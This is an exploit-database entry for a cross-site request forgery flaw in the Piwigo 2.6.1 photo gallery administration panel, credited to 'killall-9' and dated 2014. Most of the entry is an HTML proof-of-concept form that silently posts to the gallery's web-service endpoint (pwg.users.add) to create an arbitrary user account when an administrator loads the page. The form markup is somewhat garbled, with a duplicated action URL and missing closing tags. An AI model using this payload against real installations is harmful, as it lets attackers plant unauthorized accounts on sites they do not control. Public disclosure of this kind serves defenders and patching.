Piwigo 2.6.1 - CSRF Vulnerability

ID 1337DAY-ID-21949
Type zdt
Reporter killall-9
Modified 2014-02-26T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: piwigo 2.6.1 - CSRF
# Date: 26/02/2014
# Exploit Author: [email protected]
# Vendor Homepage: http://it.piwigo.org/
# Software Link: http://it.piwigo.org/basics/downloads
# Version: 2.6.1
# Tested on: Virtualbox debian
A CSRF problem is present in the administration panel.
Here it is a POF according to a derived POST:
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html lang="en">
<title>Piwigo 2.6.1</title>
<form action="http://localhost/piwigo/ws.php?format=json&method=pwg.users.add http://localhost/piwigo/ws.php?format=json&method=pwg.users.add&lang=en " id="formid" method="post">
<input name="username" value="utente" />
<input name="password" value="utente" />
<input name="email" value="[email protected] http://service.mail.com/callgate- "/>
So you can add a new arbitrary user.

#  0day.today [2018-03-09]  #